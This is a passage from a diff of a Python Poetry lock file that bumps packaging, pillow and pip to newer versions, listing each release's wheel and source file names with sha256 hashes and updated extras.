hash = "sha256:09abb1bccd265c01f4a3aa3f7a7db064b36514d2cba19a2f694fe6150451a759"}, - {file = "packaging-24.2.tar.gz", hash = "sha256:c228a6dc5e932d346bc5739379109d49e8853dd8223571c7c5b55260edc0b97f"}, + {file = "packaging-25.0-py3-none-any.whl", hash = "sha256:29572ef2b1f17581046b3a2227d5c611fb25ec70ca1ba8554b24b0e69331a484"}, + {file = "packaging-25.0.tar.gz", hash = "sha256:d443872c98d677bf60f6a1f2f8c1cb748e8fe762d2bf9d3148b5599295b0fc4f"}, ] [[package]] @@ -1438,131 +1469,142 @@ invoke = ["invoke (>=2.0)"] [[package]] name = "pillow" -version = "11.1.0" +version = "11.2.1" description = "Python Imaging Library (Fork)" optional = false python-versions = ">=3.9" groups = ["main"] files = [ - {file = "pillow-11.1.0-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:e1abe69aca89514737465752b4bcaf8016de61b3be1397a8fc260ba33321b3a8"}, - {file = "pillow-11.1.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:c640e5a06869c75994624551f45e5506e4256562ead981cce820d5ab39ae2192"}, - {file = "pillow-11.1.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a07dba04c5e22824816b2615ad7a7484432d7f540e6fa86af60d2de57b0fcee2"}, - {file = "pillow-11.1.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e267b0ed063341f3e60acd25c05200df4193e15a4a5807075cd71225a2386e26"}, - {file = "pillow-11.1.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:bd165131fd51697e22421d0e467997ad31621b74bfc0b75956608cb2906dda07"}, - {file = "pillow-11.1.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:abc56501c3fd148d60659aae0af6ddc149660469082859fa7b066a298bde9482"}, - {file = "pillow-11.1.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:54ce1c9a16a9561b6d6d8cb30089ab1e5eb66918cb47d457bd996ef34182922e"}, - {file = "pillow-11.1.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:73ddde795ee9b06257dac5ad42fcb07f3b9b813f8c1f7f870f402f4dc54b5269"}, - {file = "pillow-11.1.0-cp310-cp310-win32.whl", hash = "sha256:3a5fe20a7b66e8135d7fd617b13272626a28278d0e578c98720d9ba4b2439d49"}, - {file = "pillow-11.1.0-cp310-cp310-win_amd64.whl", hash = "sha256:b6123aa4a59d75f06e9dd3dac5bf8bc9aa383121bb3dd9a7a612e05eabc9961a"}, - {file = "pillow-11.1.0-cp310-cp310-win_arm64.whl", hash = "sha256:a76da0a31da6fcae4210aa94fd779c65c75786bc9af06289cd1c184451ef7a65"}, - {file = "pillow-11.1.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:e06695e0326d05b06833b40b7ef477e475d0b1ba3a6d27da1bb48c23209bf457"}, - {file = "pillow-11.1.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:96f82000e12f23e4f29346e42702b6ed9a2f2fea34a740dd5ffffcc8c539eb35"}, - {file = "pillow-11.1.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a3cd561ded2cf2bbae44d4605837221b987c216cff94f49dfeed63488bb228d2"}, - {file = "pillow-11.1.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f189805c8be5ca5add39e6f899e6ce2ed824e65fb45f3c28cb2841911da19070"}, - {file = "pillow-11.1.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:dd0052e9db3474df30433f83a71b9b23bd9e4ef1de13d92df21a52c0303b8ab6"}, - {file = "pillow-11.1.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:837060a8599b8f5d402e97197d4924f05a2e0d68756998345c829c33186217b1"}, - {file = "pillow-11.1.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:aa8dd43daa836b9a8128dbe7d923423e5ad86f50a7a14dc688194b7be5c0dea2"}, - {file = "pillow-11.1.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:0a2f91f8a8b367e7a57c6e91cd25af510168091fb89ec5146003e424e1558a96"}, - {file = "pillow-11.1.0-cp311-cp311-win32.whl", hash = "sha256:c12fc111ef090845de2bb15009372175d76ac99969bdf31e2ce9b42e4b8cd88f"}, - {file = "pillow-11.1.0-cp311-cp311-win_amd64.whl", hash = "sha256:fbd43429d0d7ed6533b25fc993861b8fd512c42d04514a0dd6337fb3ccf22761"}, - {file = "pillow-11.1.0-cp311-cp311-win_arm64.whl", hash = "sha256:f7955ecf5609dee9442cbface754f2c6e541d9e6eda87fad7f7a989b0bdb9d71"}, - {file = "pillow-11.1.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:2062ffb1d36544d42fcaa277b069c88b01bb7298f4efa06731a7fd6cc290b81a"}, - {file = "pillow-11.1.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:a85b653980faad27e88b141348707ceeef8a1186f75ecc600c395dcac19f385b"}, - {file = "pillow-11.1.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9409c080586d1f683df3f184f20e36fb647f2e0bc3988094d4fd8c9f4eb1b3b3"}, - {file = "pillow-11.1.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7fdadc077553621911f27ce206ffcbec7d3f8d7b50e0da39f10997e8e2bb7f6a"}, - {file = "pillow-11.1.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:93a18841d09bcdd774dcdc308e4537e1f867b3dec059c131fde0327899734aa1"}, - {file = "pillow-11.1.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:9aa9aeddeed452b2f616ff5507459e7bab436916ccb10961c4a382cd3e03f47f"}, - {file = "pillow-11.1.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:3cdcdb0b896e981678eee140d882b70092dac83ac1cdf6b3a60e2216a73f2b91"}, - {file = "pillow-11.1.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:36ba10b9cb413e7c7dfa3e189aba252deee0602c86c309799da5a74009ac7a1c"}, - {file = "pillow-11.1.0-cp312-cp312-win32.whl", hash = "sha256:cfd5cd998c2e36a862d0e27b2df63237e67273f2fc78f47445b14e73a810e7e6"}, - {file = "pillow-11.1.0-cp312-cp312-win_amd64.whl", hash = "sha256:a697cd8ba0383bba3d2d3ada02b34ed268cb548b369943cd349007730c92bddf"}, - {file = "pillow-11.1.0-cp312-cp312-win_arm64.whl", hash = "sha256:4dd43a78897793f60766563969442020e90eb7847463eca901e41ba186a7d4a5"}, - {file = "pillow-11.1.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:ae98e14432d458fc3de11a77ccb3ae65ddce70f730e7c76140653048c71bfcbc"}, - {file = "pillow-11.1.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:cc1331b6d5a6e144aeb5e626f4375f5b7ae9934ba620c0ac6b3e43d5e683a0f0"}, - {file = "pillow-11.1.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:758e9d4ef15d3560214cddbc97b8ef3ef86ce04d62ddac17ad39ba87e89bd3b1"}, - {file = "pillow-11.1.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b523466b1a31d0dcef7c5be1f20b942919b62fd6e9a9be199d035509cbefc0ec"}, - {file = "pillow-11.1.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:9044b5e4f7083f209c4e35aa5dd54b1dd5b112b108648f5c902ad586d4f945c5"}, - {file = "pillow-11.1.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:3764d53e09cdedd91bee65c2527815d315c6b90d7b8b79759cc48d7bf5d4f114"}, - {file = "pillow-11.1.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:31eba6bbdd27dde97b0174ddf0297d7a9c3a507a8a1480e1e60ef914fe23d352"}, - {file = "pillow-11.1.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:b5d658fbd9f0d6eea113aea286b21d3cd4d3fd978157cbf2447a6035916506d3"}, - {file = "pillow-11.1.0-cp313-cp313-win32.whl", hash = "sha256:f86d3a7a9af5d826744fabf4afd15b9dfef44fe69a98541f666f66fbb8d3fef9"}, - {file = "pillow-11.1.0-cp313-cp313-win_amd64.whl", hash = "sha256:593c5fd6be85da83656b93ffcccc2312d2d149d251e98588b14fbc288fd8909c"}, - {file = "pillow-11.1.0-cp313-cp313-win_arm64.whl", hash = "sha256:11633d58b6ee5733bde153a8dafd25e505ea3d32e261accd388827ee987baf65"}, - {file = "pillow-11.1.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:70ca5ef3b3b1c4a0812b5c63c57c23b63e53bc38e758b37a951e5bc466449861"}, - {file = "pillow-11.1.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:8000376f139d4d38d6851eb149b321a52bb8893a88dae8ee7d95840431977081"}, - {file = "pillow-11.1.0-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9ee85f0696a17dd28fbcfceb59f9510aa71934b483d1f5601d1030c3c8304f3c"}, - {file = "pillow-11.1.0-cp313-cp313t-manylinux_2_28_x86_64.whl", hash = "sha256:dd0e081319328928531df7a0e63621caf67652c8464303fd102141b785ef9547"}, - {file = "pillow-11.1.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:e63e4e5081de46517099dc30abe418122f54531a6ae2ebc8680bcd7096860eab"}, - {file = "pillow-11.1.0-cp313-cp313t-win32.whl", hash = "sha256:dda60aa465b861324e65a78c9f5cf0f4bc713e4309f83bc387be158b077963d9"}, - {file = "pillow-11.1.0-cp313-cp313t-win_amd64.whl", hash = "sha256:ad5db5781c774ab9a9b2c4302bbf0c1014960a0a7be63278d13ae6fdf88126fe"}, - {file = "pillow-11.1.0-cp313-cp313t-win_arm64.whl", hash = "sha256:67cd427c68926108778a9005f2a04adbd5e67c442ed21d95389fe1d595458756"}, - {file = "pillow-11.1.0-cp39-cp39-macosx_10_10_x86_64.whl", hash = "sha256:bf902d7413c82a1bfa08b06a070876132a5ae6b2388e2712aab3a7cbc02205c6"}, - {file = "pillow-11.1.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:c1eec9d950b6fe688edee07138993e54ee4ae634c51443cfb7c1e7613322718e"}, - {file = "pillow-11.1.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8e275ee4cb11c262bd108ab2081f750db2a1c0b8c12c1897f27b160c8bd57bbc"}, - {file = "pillow-11.1.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4db853948ce4e718f2fc775b75c37ba2efb6aaea41a1a5fc57f0af59eee774b2"}, - {file = "pillow-11.1.0-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:ab8a209b8485d3db694fa97a896d96dd6533d63c22829043fd9de627060beade"}, - {file = "pillow-11.1.0-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:54251ef02a2309b5eec99d151ebf5c9904b77976c8abdcbce7891ed22df53884"}, - {file = "pillow-11.1.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:5bb94705aea800051a743aa4874bb1397d4695fb0583ba5e425ee0328757f196"}, - {file = "pillow-11.1.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:89dbdb3e6e9594d512780a5a1c42801879628b38e3efc7038094430844e271d8"}, - {file = "pillow-11.1.0-cp39-cp39-win32.whl", hash = "sha256:e5449ca63da169a2e6068dd0e2fcc8d91f9558aba89ff6d02121ca8ab11e79e5"}, - {file = "pillow-11.1.0-cp39-cp39-win_amd64.whl", hash = "sha256:3362c6ca227e65c54bf71a5f88b3d4565ff1bcbc63ae72c34b07bbb1cc59a43f"}, - {file = "pillow-11.1.0-cp39-cp39-win_arm64.whl", hash = "sha256:b20be51b37a75cc54c2c55def3fa2c65bb94ba859dde241cd0a4fd302de5ae0a"}, - {file = "pillow-11.1.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:8c730dc3a83e5ac137fbc92dfcfe1511ce3b2b5d7578315b63dbbb76f7f51d90"}, - {file = "pillow-11.1.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:7d33d2fae0e8b170b6a6c57400e077412240f6f5bb2a342cf1ee512a787942bb"}, - {file = "pillow-11.1.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a8d65b38173085f24bc07f8b6c505cbb7418009fa1a1fcb111b1f4961814a442"}, - {file = "pillow-11.1.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:015c6e863faa4779251436db398ae75051469f7c903b043a48f078e437656f83"}, - {file = "pillow-11.1.0-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:d44ff19eea13ae4acdaaab0179fa68c0c6f2f45d66a4d8ec1eda7d6cecbcc15f"}, - {file = "pillow-11.1.0-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:d3d8da4a631471dfaf94c10c85f5277b1f8e42ac42bade1ac67da4b4a7359b73"}, - {file = "pillow-11.1.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:4637b88343166249fe8aa94e7c4a62a180c4b3898283bb5d3d2fd5fe10d8e4e0"}, - {file = "pillow-11.1.0.tar.gz", hash = "sha256:368da70808b36d73b4b390a8ffac11069f8a5c85f29eff1f1b01bcf3ef5b2a20"}, + {file = "pillow-11.2.1-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:d57a75d53922fc20c165016a20d9c44f73305e67c351bbc60d1adaf662e74047"}, + {file = "pillow-11.2.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:127bf6ac4a5b58b3d32fc8289656f77f80567d65660bc46f72c0d77e6600cc95"}, + {file = "pillow-11.2.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b4ba4be812c7a40280629e55ae0b14a0aafa150dd6451297562e1764808bbe61"}, + {file = "pillow-11.2.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c8bd62331e5032bc396a93609982a9ab6b411c05078a52f5fe3cc59234a3abd1"}, + {file = "pillow-11.2.1-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:562d11134c97a62fe3af29581f083033179f7ff435f78392565a1ad2d1c2c45c"}, + {file = "pillow-11.2.1-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:c97209e85b5be259994eb5b69ff50c5d20cca0f458ef9abd835e262d9d88b39d"}, + {file = "pillow-11.2.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:0c3e6d0f59171dfa2e25d7116217543310908dfa2770aa64b8f87605f8cacc97"}, + {file = "pillow-11.2.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:cc1c3bc53befb6096b84165956e886b1729634a799e9d6329a0c512ab651e579"}, + {file = "pillow-11.2.1-cp310-cp310-win32.whl", hash = "sha256:312c77b7f07ab2139924d2639860e084ec2a13e72af54d4f08ac843a5fc9c79d"}, + {file = "pillow-11.2.1-cp310-cp310-win_amd64.whl", hash = "sha256:9bc7ae48b8057a611e5fe9f853baa88093b9a76303937449397899385da06fad"}, + {file = "pillow-11.2.1-cp310-cp310-win_arm64.whl", hash = "sha256:2728567e249cdd939f6cc3d1f049595c66e4187f3c34078cbc0a7d21c47482d2"}, + {file = "pillow-11.2.1-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:35ca289f712ccfc699508c4658a1d14652e8033e9b69839edf83cbdd0ba39e70"}, + {file = "pillow-11.2.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e0409af9f829f87a2dfb7e259f78f317a5351f2045158be321fd135973fff7bf"}, + {file = "pillow-11.2.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d4e5c5edee874dce4f653dbe59db7c73a600119fbea8d31f53423586ee2aafd7"}, + {file = "pillow-11.2.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b93a07e76d13bff9444f1a029e0af2964e654bfc2e2c2d46bfd080df5ad5f3d8"}, + {file = "pillow-11.2.1-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:e6def7eed9e7fa90fde255afaf08060dc4b343bbe524a8f69bdd2a2f0018f600"}, + {file = "pillow-11.2.1-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:8f4f3724c068be008c08257207210c138d5f3731af6c155a81c2b09a9eb3a788"}, + {file = "pillow-11.2.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:a0a6709b47019dff32e678bc12c63008311b82b9327613f534e496dacaefb71e"}, + {file = "pillow-11.2.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:f6b0c664ccb879109ee3ca702a9272d877f4fcd21e5eb63c26422fd6e415365e"}, + {file = "pillow-11.2.1-cp311-cp311-win32.whl", hash = "sha256:cc5d875d56e49f112b6def6813c4e3d3036d269c008bf8aef72cd08d20ca6df6"}, + {file = "pillow-11.2.1-cp311-cp311-win_amd64.whl", hash = "sha256:0f5c7eda47bf8e3c8a283762cab94e496ba977a420868cb819159980b6709193"}, + {file = "pillow-11.2.1-cp311-cp311-win_arm64.whl", hash = "sha256:4d375eb838755f2528ac8cbc926c3e31cc49ca4ad0cf79cff48b20e30634a4a7"}, + {file = "pillow-11.2.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:78afba22027b4accef10dbd5eed84425930ba41b3ea0a86fa8d20baaf19d807f"}, + {file = "pillow-11.2.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:78092232a4ab376a35d68c4e6d5e00dfd73454bd12b230420025fbe178ee3b0b"}, + {file = "pillow-11.2.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:25a5f306095c6780c52e6bbb6109624b95c5b18e40aab1c3041da3e9e0cd3e2d"}, + {file = "pillow-11.2.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0c7b29dbd4281923a2bfe562acb734cee96bbb129e96e6972d315ed9f232bef4"}, + {file = "pillow-11.2.1-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:3e645b020f3209a0181a418bffe7b4a93171eef6c4ef6cc20980b30bebf17b7d"}, + {file = "pillow-11.2.1-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:b2dbea1012ccb784a65349f57bbc93730b96e85b42e9bf7b01ef40443db720b4"}, + {file = "pillow-11.2.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:da3104c57bbd72948d75f6a9389e6727d2ab6333c3617f0a89d72d4940aa0443"}, + {file = "pillow-11.2.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:598174aef4589af795f66f9caab87ba4ff860ce08cd5bb447c6fc553ffee603c"}, + {file = "pillow-11.2.1-cp312-cp312-win32.whl", hash = "sha256:1d535df14716e7f8776b9e7fee118576d65572b4aad3ed639be9e4fa88a1cad3"}, + {file = "pillow-11.2.1-cp312-cp312-win_amd64.whl", hash = "sha256:14e33b28bf17c7a38eede290f77db7c664e4eb01f7869e37fa98a5aa95978941"}, + {file = "pillow-11.2.1-cp312-cp312-win_arm64.whl", hash = "sha256:21e1470ac9e5739ff880c211fc3af01e3ae505859392bf65458c224d0bf283eb"}, + {file = "pillow-11.2.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:fdec757fea0b793056419bca3e9932eb2b0ceec90ef4813ea4c1e072c389eb28"}, + {file = "pillow-11.2.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:b0e130705d568e2f43a17bcbe74d90958e8a16263868a12c3e0d9c8162690830"}, + {file = "pillow-11.2.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7bdb5e09068332578214cadd9c05e3d64d99e0e87591be22a324bdbc18925be0"}, + {file = "pillow-11.2.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d189ba1bebfbc0c0e529159631ec72bb9e9bc041f01ec6d3233d6d82eb823bc1"}, + {file = "pillow-11.2.1-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:191955c55d8a712fab8934a42bfefbf99dd0b5875078240943f913bb66d46d9f"}, + {file = "pillow-11.2.1-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:ad275964d52e2243430472fc5d2c2334b4fc3ff9c16cb0a19254e25efa03a155"}, + {file = "pillow-11.2.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:750f96efe0597382660d8b53e90dd1dd44568a8edb51cb7f9d5d918b80d4de14"}, + {file = "pillow-11.2.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:fe15238d3798788d00716637b3d4e7bb6bde18b26e5d08335a96e88564a36b6b"}, + {file = "pillow-11.2.1-cp313-cp313-win32.whl", hash = "sha256:3fe735ced9a607fee4f481423a9c36701a39719252a9bb251679635f99d0f7d2"}, + {file = "pillow-11.2.1-cp313-cp313-win_amd64.whl", hash = "sha256:74ee3d7ecb3f3c05459ba95eed5efa28d6092d751ce9bf20e3e253a4e497e691"}, + {file = "pillow-11.2.1-cp313-cp313-win_arm64.whl", hash = "sha256:5119225c622403afb4b44bad4c1ca6c1f98eed79db8d3bc6e4e160fc6339d66c"}, + {file = "pillow-11.2.1-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:8ce2e8411c7aaef53e6bb29fe98f28cd4fbd9a1d9be2eeea434331aac0536b22"}, + {file = "pillow-11.2.1-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:9ee66787e095127116d91dea2143db65c7bb1e232f617aa5957c0d9d2a3f23a7"}, + {file = "pillow-11.2.1-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9622e3b6c1d8b551b6e6f21873bdcc55762b4b2126633014cea1803368a9aa16"}, + {file = "pillow-11.2.1-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:63b5dff3a68f371ea06025a1a6966c9a1e1ee452fc8020c2cd0ea41b83e9037b"}, + {file = "pillow-11.2.1-cp313-cp313t-manylinux_2_28_aarch64.whl", hash = "sha256:31df6e2d3d8fc99f993fd253e97fae451a8db2e7207acf97859732273e108406"}, + {file = "pillow-11.2.1-cp313-cp313t-manylinux_2_28_x86_64.whl", hash = "sha256:062b7a42d672c45a70fa1f8b43d1d38ff76b63421cbbe7f88146b39e8a558d91"}, + {file = "pillow-11.2.1-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:4eb92eca2711ef8be42fd3f67533765d9fd043b8c80db204f16c8ea62ee1a751"}, + {file = "pillow-11.2.1-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:f91ebf30830a48c825590aede79376cb40f110b387c17ee9bd59932c961044f9"}, + {file = "pillow-11.2.1-cp313-cp313t-win32.whl", hash = "sha256:e0b55f27f584ed623221cfe995c912c61606be8513bfa0e07d2c674b4516d9dd"}, + {file = "pillow-11.2.1-cp313-cp313t-win_amd64.whl", hash = "sha256:36d6b82164c39ce5482f649b437382c0fb2395eabc1e2b1702a6deb8ad647d6e"}, + {file = "pillow-11.2.1-cp313-cp313t-win_arm64.whl", hash = "sha256:225c832a13326e34f212d2072982bb1adb210e0cc0b153e688743018c94a2681"}, + {file = "pillow-11.2.1-cp39-cp39-macosx_10_10_x86_64.whl", hash = "sha256:7491cf8a79b8eb867d419648fff2f83cb0b3891c8b36da92cc7f1931d46108c8"}, + {file = "pillow-11.2.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:8b02d8f9cb83c52578a0b4beadba92e37d83a4ef11570a8688bbf43f4ca50909"}, + {file = "pillow-11.2.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:014ca0050c85003620526b0ac1ac53f56fc93af128f7546623cc8e31875ab928"}, + {file = "pillow-11.2.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3692b68c87096ac6308296d96354eddd25f98740c9d2ab54e1549d6c8aea9d79"}, + {file = "pillow-11.2.1-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:f781dcb0bc9929adc77bad571b8621ecb1e4cdef86e940fe2e5b5ee24fd33b35"}, + {file = "pillow-11.2.1-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:2b490402c96f907a166615e9a5afacf2519e28295f157ec3a2bb9bd57de638cb"}, + {file = "pillow-11.2.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:dd6b20b93b3ccc9c1b597999209e4bc5cf2853f9ee66e3fc9a400a78733ffc9a"}, + {file = "pillow-11.2.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:4b835d89c08a6c2ee7781b8dd0a30209a8012b5f09c0a665b65b0eb3560b6f36"}, + {file = "pillow-11.2.1-cp39-cp39-win32.whl", hash = "sha256:b10428b3416d4f9c61f94b494681280be7686bda15898a3a9e08eb66a6d92d67"}, + {file = "pillow-11.2.1-cp39-cp39-win_amd64.whl", hash = "sha256:6ebce70c3f486acf7591a3d73431fa504a4e18a9b97ff27f5f47b7368e4b9dd1"}, + {file = "pillow-11.2.1-cp39-cp39-win_arm64.whl", hash = "sha256:c27476257b2fdcd7872d54cfd119b3a9ce4610fb85c8e32b70b42e3680a29a1e"}, + {file = "pillow-11.2.1-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:9b7b0d4fd2635f54ad82785d56bc0d94f147096493a79985d0ab57aedd563156"}, + {file = "pillow-11.2.1-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:aa442755e31c64037aa7c1cb186e0b369f8416c567381852c63444dd666fb772"}, + {file = "pillow-11.2.1-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f0d3348c95b766f54b76116d53d4cb171b52992a1027e7ca50c81b43b9d9e363"}, + {file = "pillow-11.2.1-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:85d27ea4c889342f7e35f6d56e7e1cb345632ad592e8c51b693d7b7556043ce0"}, + {file = "pillow-11.2.1-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:bf2c33d6791c598142f00c9c4c7d47f6476731c31081331664eb26d6ab583e01"}, + {file = "pillow-11.2.1-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:e616e7154c37669fc1dfc14584f11e284e05d1c650e1c0f972f281c4ccc53193"}, + {file = "pillow-11.2.1-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:39ad2e0f424394e3aebc40168845fee52df1394a4673a6ee512d840d14ab3013"}, + {file = "pillow-11.2.1-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:80f1df8dbe9572b4b7abdfa17eb5d78dd620b1d55d9e25f834efdbee872d3aed"}, + {file = "pillow-11.2.1-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:ea926cfbc3957090becbcbbb65ad177161a2ff2ad578b5a6ec9bb1e1cd78753c"}, + {file = "pillow-11.2.1-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:738db0e0941ca0376804d4de6a782c005245264edaa253ffce24e5a15cbdc7bd"}, + {file = "pillow-11.2.1-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9db98ab6565c69082ec9b0d4e40dd9f6181dab0dd236d26f7a50b8b9bfbd5076"}, + {file = "pillow-11.2.1-pp311-pypy311_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:036e53f4170e270ddb8797d4c590e6dd14d28e15c7da375c18978045f7e6c37b"}, + {file = "pillow-11.2.1-pp311-pypy311_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:14f73f7c291279bd65fda51ee87affd7c1e097709f7fdd0188957a16c264601f"}, + {file = "pillow-11.2.1-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:208653868d5c9ecc2b327f9b9ef34e0e42a4cdd172c2988fd81d62d2bc9bc044"}, + {file = "pillow-11.2.1.tar.gz", hash = "sha256:a64dd61998416367b7ef979b73d3a85853ba9bec4c2925f74e588879a58716b6"}, ] [package.extras] -docs = ["furo", "olefile", "sphinx (>=8.1)", "sphinx-copybutton", "sphinx-inline-tabs", "sphinxext-opengraph"] +docs = ["furo", "olefile", "sphinx (>=8.2)", "sphinx-copybutton", "sphinx-inline-tabs", "sphinxext-opengraph"] fpx = ["olefile"] mic = ["olefile"] +test-arrow = ["pyarrow"] tests = ["check-manifest", "coverage (>=7.4.2)", "defusedxml", "markdown2", "olefile", "packaging", "pyroma", "pytest", "pytest-cov", "pytest-timeout", "trove-classifiers (>=2024.10.12)"] typing = ["typing-extensions ; python_version < \"3.10\""] xmp = ["defusedxml"] [[package]] name = "pip" -version = "25.0.1" +version = "25.1.1" description = "The PyPA recommended tool for installing Python packages." optional = false -python-versions = ">=3.8" +python-versions = ">=3.9" groups = ["dev"] files = [ - {file = "pip-25.0.1-py3-none-any.whl", hash = 